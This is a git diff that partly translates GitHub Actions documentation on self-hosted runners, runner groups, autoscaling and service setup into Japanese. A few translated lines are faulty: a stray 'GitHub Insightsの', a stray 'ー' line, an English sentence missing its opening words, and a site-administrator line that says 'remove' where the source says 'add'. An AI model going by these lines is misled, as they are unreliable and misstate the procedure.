@@ -70,7 +71,8 @@ You can add self-hosted runners at the organization level, where they can be use
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
-1. Under {% ifversion fpt or ghes > 3.1 or ghae or ghec %}"Runners"{% else %}"Self-hosted runners"{% endif %}, click **Add runner**.
+1. GitHub Insightsの
+{% ifversion fpt or ghes > 3.1 or ghae or ghec %}"ランナー"{% else %}"セルフホストランナー"{% endif %} で、[**Add runner**] をクリックします。
 {% data reusables.github-actions.self-hosted-runner-configure %}
 {% endif %}
 
@@ -78,16 +80,16 @@ You can add self-hosted runners at the organization level, where they can be use
 
 {% data reusables.github-actions.self-hosted-runner-public-repo-access %}
 
-## Adding a self-hosted runner to an enterprise
+## セルフホストランナーを Enterprise に追加する
 
-{% ifversion fpt %}If you use {% data variables.product.prodname_ghe_cloud %}, you{% elsif ghec or ghes or ghae %}You{% endif %} can add self-hosted runners to an enterprise, where they can be assigned to multiple organizations. The organization admins are then able to control which repositories can use it. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise).{% endif %}
+{% ifversion fpt %}If you use {% data variables.product.prodname_ghe_cloud %}, you{% elsif ghec or ghes or ghae %}You{% endif %} can add self-hosted runners to an enterprise, where they can be assigned to multiple organizations. Organization の管理者は、そのランナーを使用できるリポジトリを制御できます。 {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise).{% endif %}
 
 {% ifversion ghec or ghes or ghae %}
 
-New runners are assigned to the default group. You can modify the runner's group after you've registered the runner. For more information, see "[Managing access to self-hosted runners](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
+新しいランナーがデフォルトグループに割り当てられます。 ランナーを登録した後、ランナーのグループを変更できます。 詳しい情報については、「[セルフホストランナーへのアクセスを管理する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)」を参照してください。
 
 {% ifversion ghec %}
-To add a self-hosted runner to an enterprise account, you must be an enterprise owner. For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
+セルフホストランナーを Enterprise アカウントに追加するには、Enterprise のオーナーである必要があります。 For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
@@ -97,12 +99,13 @@ To add a self-hosted runner to an enterprise account, you must be an enterprise
 {% data reusables.github-actions.self-hosted-runner-configure %}
 {% endif %}
 {% ifversion ghae or ghes %}
-To add a self-hosted runner at the enterprise level of {% data variables.product.product_location %}, you must be a site administrator.
+セルフホストランナーを
+{% data variables.product.product_location %} の Enterprise レベルで削除するには、サイト管理者である必要があります。
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.enterprise-accounts.actions-runners-tab %}
-1. Click **Add new**, then click **New runner**.
+1. [**Add new**] をクリックし、[**New runner**] をクリックします。
 {% data reusables.github-actions.self-hosted-runner-configure %}
 {% endif %}
 {% ifversion ghec or ghae or ghes %}
@@ -111,11 +114,11 @@ To add a self-hosted runner at the enterprise level of {% data variables.product
 {% data reusables.github-actions.self-hosted-runner-public-repo-access %}
 {% endif %}
 
-### Making enterprise runners available to repositories
+### Enterprise ランナーをリポジトリで利用可能にする
 
-By default, runners in an enterprise's "Default" self-hosted runner group are available to all organizations in the enterprise, but are not available to all repositories in each organization.
+デフォルトでは、Enterprise の「デフォルト」のセルフホストランナーグループのランナーは、Enterprise 内のすべての Organization で使用できますが、各 Organization のすべてのリポジトリで使用できるわけではありません。
 
-To make an enterprise-level self-hosted runner group available to an organization repository, you might need to change the organization's inherited settings for the runner group to make the runner available to repositories in the organization.
+Enterprise レベルのセルフホストランナーグループを Organization リポジトリで使用できるようにするには、ランナーグループの Organization の継承設定を変更して、Organization 内のリポジトリでランナーを使用できるようにする必要がある場合があります。
 
-For more information on changing runner group access settings, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+ランナーグループのアクセス設定の変更に関する詳しい情報については、「[グループを使用したセルフホストランナーへのアクセスを管理する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)」を参照してください。
 {% endif %}
diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md b/translations/ja-JP/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
index ed2c6cc905..3a1090c662 100644
--- a/translations/ja-JP/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
+++ b/translations/ja-JP/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
@@ -14,33 +14,33 @@ type: overview
 
 ## About autoscaling
 
-You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive with a particular label. For example, you can create automation that adds a new self-hosted runner each time you receive a [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook event with the  [`queued`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity, which notifies you that a new job is ready for processing. The webhook payload includes label data, so you can identify the type of runner the job is requesting. Once the job has finished, you can then create automation that removes the runner in response to the `workflow_job` [`completed`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity. 
+You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive with a particular label. For example, you can create automation that adds a new self-hosted runner each time you receive a [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook event with the  [`queued`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity, which notifies you that a new job is ready for processing. The webhook payload includes label data, so you can identify the type of runner the job is requesting. Once the job has finished, you can then create automation that removes the runner in response to the `workflow_job` [`completed`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity.
 
 ## Recommended autoscaling solutions
 
-{% data variables.product.prodname_dotcom %} recommends and partners closely with two open source projects that you can use for autoscaling your runners. One or both solutions may be suitable, based on your needs. 
+{% data variables.product.prodname_dotcom %} recommends and partners closely with two open source projects that you can use for autoscaling your runners. One or both solutions may be suitable, based on your needs.
 
-The following repositories have detailed instructions for setting up these autoscalers: 
+The following repositories have detailed instructions for setting up these autoscalers:
 
 - [actions-runner-controller/actions-runner-controller](https://github.com/actions-runner-controller/actions-runner-controller) - A Kubernetes controller for {% data variables.product.prodname_actions %} self-hosted runners.
 - [philips-labs/terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner) - A Terraform module for scalable {% data variables.product.prodname_actions %} runners on Amazon Web Services.
 
 Each solution has certain specifics that may be important to consider:
 
-| **Features** | **actions-runner-controller** | **terraform-aws-github-runner** |
-| :--- | :--- | :--- |
-| Runtime | Kubernetes | Linux and Windows VMs |
-| Supported Clouds | Azure, Amazon Web Services, Google Cloud Platform, on-premises | Amazon Web Services |
-| Where runners can be scaled | Enterprise, organization, and repository levels. By runner label and runner group. | Organization and repository levels. By runner label and runner group. |
-| Pull-based autoscaling support | Yes | No |
+| **機能**                         | **actions-runner-controller**                                                      | **terraform-aws-github-runner**                                       |
+|:------------------------------ |:---------------------------------------------------------------------------------- |:--------------------------------------------------------------------- |
+| ランタイム                          | Kubernetes                                                                         | Linux and Windows VMs                                                 |
+| Supported Clouds               | Azure, Amazon Web Services, Google Cloud Platform, on-premises                     | Amazon Web Services                                                   |
+| Where runners can be scaled    | Enterprise, organization, and repository levels. By runner label and runner group. | Organization and repository levels. By runner label and runner group. |
+| Pull-based autoscaling support | あり                                                                                 | なし                                                                    |
 
 ## Using ephemeral runners for autoscaling
 
 {% data variables.product.prodname_dotcom %} recommends implementing autoscaling with ephemeral self-hosted runners; autoscaling with persistent self-hosted runners is not recommended. In certain cases, {% data variables.product.prodname_dotcom %} cannot guarantee that jobs are not assigned to persistent runners while they are shut down. With ephemeral runners, this can be guaranteed because {% data variables.product.prodname_dotcom %} only assigns one job to a runner.
 
-This approach allows you to manage your runners as ephemeral systems, since you can use automation to provide a clean environment for each job. This helps limit the exposure of any sensitive resources from previous jobs, and also helps mitigate the risk of a compromised runner receiving new jobs.  
+This approach allows you to manage your runners as ephemeral systems, since you can use automation to provide a clean environment for each job. This helps limit the exposure of any sensitive resources from previous jobs, and also helps mitigate the risk of a compromised runner receiving new jobs.
 
-To add an ephemeral runner to your environment, include the `--ephemeral` parameter when registering your runner using `config.sh`. For example:
+To add an ephemeral runner to your environment, include the `--ephemeral` parameter when registering your runner using `config.sh`. 例:
 
 ```
 $ ./config.sh --url https://github.com/octo-org --token example-token --ephemeral
@@ -63,7 +63,7 @@ You can create your own autoscaling environment by using payloads received from
 
 ## Authentication requirements
 
-You can register and delete repository and organization self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token or a {% data variables.product.prodname_dotcom %} app. 
+You can register and delete repository and organization self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token or a {% data variables.product.prodname_dotcom %} app.
 
 Your access token will require the following scope:
 
diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md b/translations/ja-JP/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
index 64f8750f4a..e4c3ba5580 100644
--- a/translations/ja-JP/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
+++ b/translations/ja-JP/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring the self-hosted runner application as a service
-intro: You can configure the self-hosted runner application as a service to automatically start the runner application when the machine starts.
+title: セルフホストランナーアプリケーションをサービスとして設定する
+intro: セルフホストランナーアプリケーションをサービスとして設定し、マシンの起動時に自動的にランナーアプリケーションが開始されるようにできます。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service
 versions:
@@ -17,9 +17,9 @@ shortTitle: Run runner app on startup
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-{% capture service_first_step %}1. Stop the self-hosted runner application if it is currently running.{% endcapture %}
-{% capture service_non_windows_intro_shell %}On the runner machine, open a shell in the directory where you installed the self-hosted runner application. Use the commands below to install and manage the self-hosted runner service.{% endcapture %}
-{% capture service_nonwindows_intro %}You must add a runner to {% data variables.product.product_name %} before you can configure the self-hosted runner application as a service. For more information, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)."{% endcapture %}
+{% capture service_first_step %}1. セルフホストランナー アプリケーションが現在実行中の場合は、そのアプリケーションを停止します。{% endcapture %}
+{% capture service_non_windows_intro_shell %}ランナー マシンで、セルフホストランナー アプリケーションをインストールしたディレクトリでシェルを開きます。 以下のコマンドを使って、セルフホストランナーサービスをインストール及び管理します。{% endcapture %}
+{% capture service_nonwindows_intro %}セルフホストランナーアプリケーションをサービスとして設定する前に、ランナーを{% data variables.product.product_name %}に追加しなければなりません。 詳しい情報については「[セルフホストランナーの追加](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)」を参照してください。{% endcapture %}
 {% capture service_win_name %}actions.runner.*{% endcapture %}
 
 
@@ -27,7 +27,7 @@ shortTitle: Run runner app on startup
 
 {{ service_nonwindows_intro }}
 
-For Linux systems that use `systemd`, you can use the `svc.sh` script distributed with the self-hosted runner application to install and manage using the application as a service.
+`systemd`を利用するLinuxのシステムでは、セルフホストランナーアプリケーションと共に配布されている`svc.sh`スクリプトを使い、セルフホストランナーアプリケーションをサービスとしてインストール及び管理できます。
 
 {{ service_non_windows_intro_shell }}
 
@@ -37,13 +37,13 @@ For Linux systems that use `systemd`, you can use the `svc.sh` script distribute
 
 {% note %}
 
-**Note:** Configuring the self-hosted runner application as a service on Windows is part of the application configuration process. If you have already configured the self-hosted runner application but did not choose to configure it as a service, you must remove the runner from {% data variables.product.prodname_dotcom %} and re-configure the application. When you re-configure the application, choose the option to configure the application as a service.
+**ノート:** Windows上でサービスとしてセルフホストランナーアプリケーションを設定するのは、アプリケーションの設定プロセスの一部です。 セルフホストランナーアプリケーションをすでに設定していて、サービスとして設定していない場合には、そのランナーを{% data variables.product.prodname_dotcom %}から削除して、アプリケーションを設定しなおさなければなりません。 アプリケーションを再設定する場合には、アプリケーションをサービスとして設定するオプションを選択してください。
 
-For more information, see "[Removing self-hosted runners](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners)" and "[Adding self-hosted runners](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners)."
+詳しい情報については「[セルフホストランナーの削除](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners)」及び「[セルフホストランナーの追加](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners)」を参照してください。
 
 {% endnote %}
 
-You can manage the runner service in the Windows **Services** application, or you can use PowerShell to run the commands below.
+Windowsでは、ランナーサービスは**サービス**アプリケーションで管理できます。あるいは、以下のコマンドをPowerShellを使って実行することもできます。
 
 {% endwindows %}
 
@@ -57,10 +57,10 @@ You can manage the runner service in the Windows **Services** application, or yo
 
 {% linux %}
 
-## Installing the service
+## サービスのインストール
 
 {{ service_first_step }}
-1. Install the service with the following command:
+1. 以下のコマンドでサービスをインストールしてください。
 
    ```shell
    sudo ./svc.sh install
@@ -69,19 +69,19 @@ You can manage the runner service in the Windows **Services** application, or yo
 {% endlinux %}
 {% mac %}
 
-## Installing the service
+## サービスのインストール
 
 {{ service_first_step }}
-1. Install the service with the following command:
+1. 以下のコマンドでサービスをインストールしてください。
 
    ```shell
    ./svc.sh install
    ```
 {% endmac %}
 
-## Starting the service
+## サービスの起動
 
-Start the service with the following command:
+以下のコマンドでサービスを起動してください。
 
 {% linux %}
 ```shell
@@ -99,9 +99,9 @@ Start-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
-## Checking the status of the service
+## サービスのステータスチェック
 
-Check the status of the service with the following command:
+以下のコマンドでサービスのステータスをチェックしてください。
 
 {% linux %}
 ```shell
@@ -119,11 +119,11 @@ Get-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
- For more information on viewing the status of your self-hosted runner, see  "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+ セルフホストランナーの状態の表示に関する詳しい情報については、「[セルフホストランナーのモニタリングとトラブルシューティング](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)」を参照してください。
 
-## Stopping the service
+## サービスの停止
 
-Stop the service with the following command:
+以下のコマンドでサービスを停止してください。
 
 {% linux %}
 ```shell
@@ -141,10 +141,10 @@ Stop-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
-## Uninstalling the service
+## サービスのアンインストール
 
-1. Stop the service if it is currently running.
-1. Uninstall the service with the following command:
+1. もし実行中であれば、サービスを停止してください。
+1. 以下のコマンドでサービスをアンインストールしてください。
 
     {% linux %}
     ```shell
@@ -165,16 +165,16 @@ Stop-Service "{{ service_win_name }}"
 
 {% linux %}
 
-## Customizing the self-hosted runner service
+## セルフホストランナーサービスのカスタマイズ
 
-If you don't want to use the above default `systemd` service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `serviced` template at `actions-runner/bin/actions.runner.service.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point.
+上記のデフォルトの`systemd`サービス設定を使いたくないなら、カスタマイズされたサービスを作成するか、好みのサービスの仕組みを使うことができます。 リファレンスとして`actions-runner/bin/actions.runner.service.template`にある`serviced`テンプレートの利用を検討してください。 カスタマイズされたサービスを使う場合、セルフホストランナーサービスは常に`runsvc.sh`エントリポイントを使って起動しなければなりません。
 
 {% endlinux %}
 
 {% mac %}
 
-## Customizing the self-hosted runner service
+## セルフホストランナーサービスのカスタマイズ
 
-If you don't want to use the above default launchd service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `plist` template at `actions-runner/bin/actions.runner.plist.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point.
+上記のデフォルトのlaunchdサービス設定を使いたくないなら、カスタマイズされたサービスを作成するか、好みのサービスの仕組みを使うことができます。 リファレンスとして`actions-runner/bin/actions.runner.plist.template`にある`plist`テンプレートの利用を検討してください。 カスタマイズされたサービスを使う場合、セルフホストランナーサービスは常に`runsvc.sh`エントリポイントを使って起動しなければなりません。
 
 {% endmac %}
diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/index.md b/translations/ja-JP/content/actions/hosting-your-own-runners/index.md
index 35bffd48e4..c1f1fd711d 100644
--- a/translations/ja-JP/content/actions/hosting-your-own-runners/index.md
+++ b/translations/ja-JP/content/actions/hosting-your-own-runners/index.md
@@ -1,6 +1,6 @@
 ---
-title: Hosting your own runners
-intro: You can create self-hosted runners to run workflows in a highly customizable environment.
+title: 自分のランナーをホストする
+intro: セルフホストランナーを作成し、非常にカスタマイズ性の高い環境でワークフローを実行できます。
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/hosting-your-own-runners
   - /actions/automating-your-workflow-with-github-actions/hosting-your-own-runners
@@ -27,6 +27,7 @@ children:
   - /monitoring-and-troubleshooting-self-hosted-runners
   - /removing-self-hosted-runners
 ---
+
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md b/translations/ja-JP/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
index a0afa6e963..fa8c3eda50 100644
--- a/translations/ja-JP/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
+++ b/translations/ja-JP/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to self-hosted runners using groups
-intro: You can use policies to limit access to self-hosted runners that have been added to an organization or enterprise.
+title: グループを使用してセルフホストランナーへのアクセスを管理する
+intro: ポリシーを使用して、Organization または Enterprise に追加されたセルフホストランナーへのアクセスを制限できます。
 redirect_from:
   - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners
 versions:
@@ -16,34 +16,35 @@ shortTitle: Manage runner groups
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About self-hosted runner groups
+## セルフホストランナーのグループについて
 
 {% ifversion fpt %}
 {% note %}
 
-**Note:** All organizations have a single default self-hosted runner group. Only enterprise accounts and organizations owned by enterprise accounts can create and manage additional self-hosted runner groups.
+**注釈:** すべての Organization には、単一のデフォルトのセルフホストランナーグループがあります。 Only enterprise accounts and organizations owned by enterprise accounts can create and manage additional self-hosted runner groups.
 
 {% endnote %}
 
-Self-hosted runner groups are used to control access to self-hosted runners. Organization admins can configure access policies that control which repositories in an organization have access to the runner group.
+Self-hosted runner groups are used to control access to self-hosted runners. Organization の管理者は、Organization 内のどのリポジトリがランナーグループにアクセスできるかを制御するアクセスポリシーを設定できます。
+ー
 
-If you use {% data variables.product.prodname_ghe_cloud %}, you can create additional runner groups; enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group; and organization admins can assign additional granular repository access policies to the enterprise runner group. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
+{% data variables.product.prodname_ghe_cloud %}, you can create additional runner groups; enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group; and organization admins can assign additional granular repository access policies to the enterprise runner group. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
 {% endif %}
 
 {% ifversion ghec or ghes or ghae %}
-Self-hosted runner groups are used to control access to self-hosted runners at the organization and enterprise level. Enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group. Organization admins can configure access policies that control which repositories in an organization have access to the runner group.
+セルフホストランナーグループは、Organization レベルおよび Enterprise レベルでセルフホストランナーへのアクセスを制御するために使用されます。 Enterprise の管理者は、Enterprise 内のどの Organization がランナーグループにアクセスできるかを制御するアクセスポリシーを設定できます。 Organization の管理者は、Organization 内のどのリポジトリがランナーグループにアクセスできるかを制御するアクセスポリシーを設定できます。
 
-When an enterprise admin grants an organization access to a runner group, organization admins can see the runner group listed in the organization's self-hosted runner settings. The organizations admins can then assign additional granular repository access policies to the enterprise runner group.
+Enterprise の管理者が Organization にランナーグループへのアクセスを許可すると、Organization の管理者は、Organization のセルフホストランナー設定にリストされたランナーグループを表示できます。 Organization の管理者は、追加の詳細なリポジトリアクセスポリシーを Enterprise ランナーグループに割り当てることができます。
 
-When new runners are created, they are automatically assigned to the default group. Runners can only be in one group at a time. You can move runners from the default group to another group. For more information, see "[Moving a self-hosted runner to a group](#moving-a-self-hosted-runner-to-a-group)."
+新しいランナーが作成されると、それらは自動的にデフォルトグループに割り当てられます。 ランナーは一度に1つのグループにのみ参加できます。 ランナーはデフォルトグループから別のグループに移動できます。 詳しい情報については、「[セルフホストランナーをグループに移動する](#moving-a-self-hosted-runner-to-a-group)」を参照してください。
 
-## Creating a self-hosted runner group for an organization
+## Organization のセルフホストランナーグループを作成する
 
-All organizations have a single default self-hosted runner group. Organizations within an enterprise account can create additional self-hosted groups. Organization admins can allow individual repositories access to a runner group. For information about how to create a self-hosted runner group with the REST API, see "[Self-hosted runner groups](/rest/reference/actions#self-hosted-runner-groups)."
+すべての Organization には、単一のデフォルトのセルフホストランナーグループがあります。 Enterprise アカウント内の Organization は、追加のセルフホストグループを作成できます。 Organization の管理者は、個々のリポジトリにランナーグループへのアクセスを許可できます。 For information about how to create a self-hosted runner group with the REST API, see "[Self-hosted runner groups](/rest/reference/actions#self-hosted-runner-groups)."
 
-Self-hosted runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can move a runner from the default group to any group you create.
+セルフホストランナーは、作成時にデフォルトグループに自動的に割り当てられ、一度に 1 つのグループのメンバーになることができます。 ランナーはデフォルトグループから作成した任意のグループに移動できます。
 
-When creating a group, you must choose a policy that defines which repositories have access to the runner group.
+グループを作成する場合、ランナーグループにアクセスできるリポジトリを定義するポリシーを選択する必要があります。
 
 {% ifversion ghec %}
 {% data reusables.organizations.navigate-to-org %}
@@ -56,7 +57,7 @@ When creating a group, you must choose a policy that defines which repositories
 
    **Warning**: {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)」を参照してください。
 
    {% endwarning %}
 {% data reusables.github-actions.self-hosted-runner-create-group %}
@@ -67,8 +68,8 @@ When creating a group, you must choose a policy that defines which repositories
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
 1. In the "Self-hosted runners" section, click **Add new**, and then **New group**.
 
-    ![Add runner group](/assets/images/help/settings/actions-org-add-runner-group.png)
-1. Enter a name for your runner group, and assign a policy for repository access.
+    ![新しいランナーを追加](/assets/images/help/settings/actions-org-add-runner-group.png)
+1. ランナーグループの名前を入力し、リポジトリアクセスのポリシーを割り当てます。
 
    {% ifversion ghes or ghae %} You can configure a runner group to be accessible to a specific list of repositories, or to all repositories in the organization. By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.{% endif %}
 
@@ -78,21 +79,21 @@ When creating a group, you must choose a policy that defines which repositories
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)」を参照してください。
 
    {% endwarning %}
 
-   ![Add runner group options](/assets/images/help/settings/actions-org-add-runner-group-options.png)
-1. Click **Save group** to create the group and apply the policy.
+   ![ランナーグループのオプションを追加](/assets/images/help/settings/actions-org-add-runner-group-options.png)
+1. [**Save group**] をクリックしてグループを作成し、ポリシーを適用します。
 {% endif %}
 
-## Creating a self-hosted runner group for an enterprise
+## Enterprise のセルフホストランナーグループを作成する
 
-Enterprises can add their self-hosted runners to groups for access management. Enterprises can create groups of self-hosted runners that are accessible to specific organizations in the enterprise account. Organization admins can then assign additional granular repository access policies to the enterprise runner groups. For information about how to create a self-hosted runner group with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
+Enterprise は、セルフホストランナーをグループに追加して、アクセス管理を行うことができます。 Enterprise は、Enterprise アカウント内の特定の Organization がアクセスできるセルフホストランナーのグループを作成できます。 Organization の管理者は、追加の詳細なリポジトリアクセスポリシーを Enterprise ランナーグループに割り当てることができます。 For information about how to create a self-hosted runner group with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
 
-Self-hosted runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can assign the runner to a specific group during the registration process, or you can later move the runner from the default group to a custom group.
+セルフホストランナーは、作成時にデフォルトグループに自動的に割り当てられ、一度に 1 つのグループのメンバーになることができます。 登録処理中にランナーを特定のグループに割り当てることも、後でランナーをデフォルトグループからカスタムグループに移動することもできます。
 
-When creating a group, you must choose a policy that defines which organizations have access to the runner group.
+グループを作成するときは、ランナーグループにアクセスできる Organization を定義するポリシーを選択する必要があります。
 
 {% ifversion ghec %}
 {% data reusables.enterprise-accounts.access-enterprise %}
@@ -108,7 +109,7 @@ When creating a group, you must choose a policy that defines which organizations
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)」を参照してください。
 
    {% endwarning %}
 {% data reusables.github-actions.self-hosted-runner-create-group %}
@@ -118,10 +119,10 @@ When creating a group, you must choose a policy that defines which organizations
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.enterprise-accounts.actions-runners-tab %}
-1. Click **Add new**, and then **New group**.
+1. [**Add new**] をクリックしてから、[**New group**] をクリックします。
 
-    ![Add runner group](/assets/images/help/settings/actions-enterprise-account-add-runner-group.png)
-1. Enter a name for your runner group, and assign a policy for organization access.
+    ![新しいランナーを追加](/assets/images/help/settings/actions-enterprise-account-add-runner-group.png)
+1. ランナーグループの名前を入力し、Organization アクセスのポリシーを割り当てます。
 
     You can configure a runner group to be accessible to a specific list of organizations, or all organizations in the enterprise. By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.
 
@@ -131,18 +132,18 @@ When creating a group, you must choose a policy that defines which organizations
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)」を参照してください。
 
    {% endwarning %}
 
-    ![Add runner group options](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png)
-1. Click **Save group** to create the group and apply the policy.
+    ![ランナーグループのオプションを追加](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png)
+1. [**Save group**] をクリックしてグループを作成し、ポリシーを適用します。
 {% endif %}
 {% endif %}
 
-## Changing the access policy of a self-hosted runner group
+## セルフホストランナーグループのアクセスポリシーを変更する
 
-You can update the access policy of a runner group, or rename a runner group.
+ランナーグループのアクセスポリシーを更新したり、ランナーグループの名前を変更したりすることができます。
 {% ifversion fpt or ghec %}
 {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %}
 {% data reusables.github-actions.settings-sidebar-actions-runner-groups-selection %}
@@ -154,7 +155,7 @@ You can update the access policy of a runner group, or rename a runner group.
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)」を参照してください。
 
    {% endwarning %}
 {% endif %}
@@ -177,7 +178,7 @@ The command will fail if the runner group doesn't exist:
 Could not find any self-hosted runner group named "rg-runnergroup".
 ```
 
-## Moving a self-hosted runner to a group
+## セルフホストランナーをグループに移動する
 
